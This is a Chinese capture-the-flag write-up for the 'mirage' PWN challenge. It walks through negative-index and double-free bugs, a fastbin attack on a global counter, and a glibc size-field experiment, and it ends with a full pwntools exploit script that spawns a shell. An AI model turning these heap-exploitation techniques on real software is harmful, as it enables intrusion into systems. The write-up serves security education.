攻防世界PWN之mirage题解
Mirage
首先,我们检查一下程序的保护机制
然后,我们用IDA分析一下
看似复杂,但是我们的关注点在这里
当我们的初始化数据包满足条件,就能显示出菜单。
一个经典的增删查程序
Delete操作里有两个漏洞,一个是下标可以负向越界,另一个是对于下标大于46的,堆指针会被保留在数组里
而程序实际可以创建到下标48处(即49个堆),
那么,对于下标为47的堆,可以被我们double free,由于都是fastbin范围的块,我们需要让fastbin形成循环单链表。因此,我们delete(47)、delete(0)、delete(46)即可。
为什么第三个是delete(46),因为我们delete(0)后,原先在47位置的堆指针赋值到了46处。
程序在功能5有一个后门
不过需要chunk_number+8处数据满足条件。因此,我们用fastbin attack来攻击chunk_number。
我们控制chunk_number在0x20~0x2F的范围,使它伪造成一个chunk的size,这样,我们就能把它链接到之前的fastbin链表里,通过申请,就能申请到此处。
为了让chunk_number减少2个,但又不往fastbin里面新增chunk,我们可以delete()两个个空指针。于是我们执行两次的delete(-2)
不过,我们直接输入-2是不行的
因为负号会被检测到,由此,我们采用补码的形式传入即可
- #-2处是空的,free()空指针不会出错,我们可以让count减去2
- for i in range(2): #腾出两个空间
- #即delete(-2)
- delete(0x100000000-2)
然而,当我们delete(-2)后,变成这样了
有堆的地址写到了fake_chunk的size的区域,如果把它链接到0x20的fastbin,申请看似会出错。
然而,事实是不会出错。这是怎么回事??
我们来做个试验
编译这段c语言代码,发现堆成功申请到目标地址处
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
int main() {
printf("uint size=%d\n",sizeof(unsigned int));
char *p1 = (char *)malloc(0x10);
char *p2 = (char *)malloc(0x10);
free(p2);
free(p1);
*((int64_t *)(p2-0x8)) = 0xFFFFFFFF0000002F;
char *p3 = (char *)malloc(0x10);
char *p4 = (char *)malloc(0x10);
strcat(p2,"P4P4P4P");
printf("*p4=%s,*p2=%s",p4,p2);
return 0;
}
我们发现,size域高4字节数据对伪造的fastbin没有影响。
我们来看看glibc的源码
- /* offset 2 to use otherwise unindexable first 2 bins */
- #define fastbin_index(sz) \
- ((((unsigned int) (sz)) >> (SIZE_SZ == 8 ? 4 : 3)) - 2)
注意到size被强制转换为unsigned int后再进行的计算。而unsigned int为4字节。这就解释的通了。这也是我的新发现。
综上,我们完整的exp脚本
#coding:utf8
from pwn import *
sh = process('./mirage')
chunk_number_addr = 0x60514C
def init_connection():
sh.send('RPCM' + p32(0) + p32(0x42,endian = 'big'))
def create(content):
sh.sendlineafter('> ','1')
sh.sendafter('content: ',content)
def show(index):
sh.sendlineafter('> ','2')
sh.sendlineafter('id: ',str(index))
def delete(index):
sh.sendlineafter('> ','3')
s = str(index)
#sh.sendafter('id: ',s)
sh.sendlineafter('id: ',str(index))
init_connection()
for i in range(49):
create('a'*0x4)
#形成双向链表
delete(47)
delete(0)
#delete 0 后,原来47的位置的指针移动到了46
delete(46)
#-2处是空的,free()空指针不会出错,我们可以让count减去2
for i in range(2): #腾出两个空间
#即delete(-2)
delete(0x100000000-2)
raw_input()
#将chunk_number_addr处的空间链入0x20大小的fastbin
#为了将chunk_number处的空间链入0x20大小的fastbin,我们需要让chunk_number接近0x20伪装成size
create(p32(chunk_number_addr - 0x8))
create('a'*0x4)
create('a'*0x4)
create(p32(0x100000000-17))
#getshell
sh.sendlineafter('> ','5')
sh.interactive()
上一篇: 分布式编程模型的设计和演化
下一篇: Java面试宝典2013版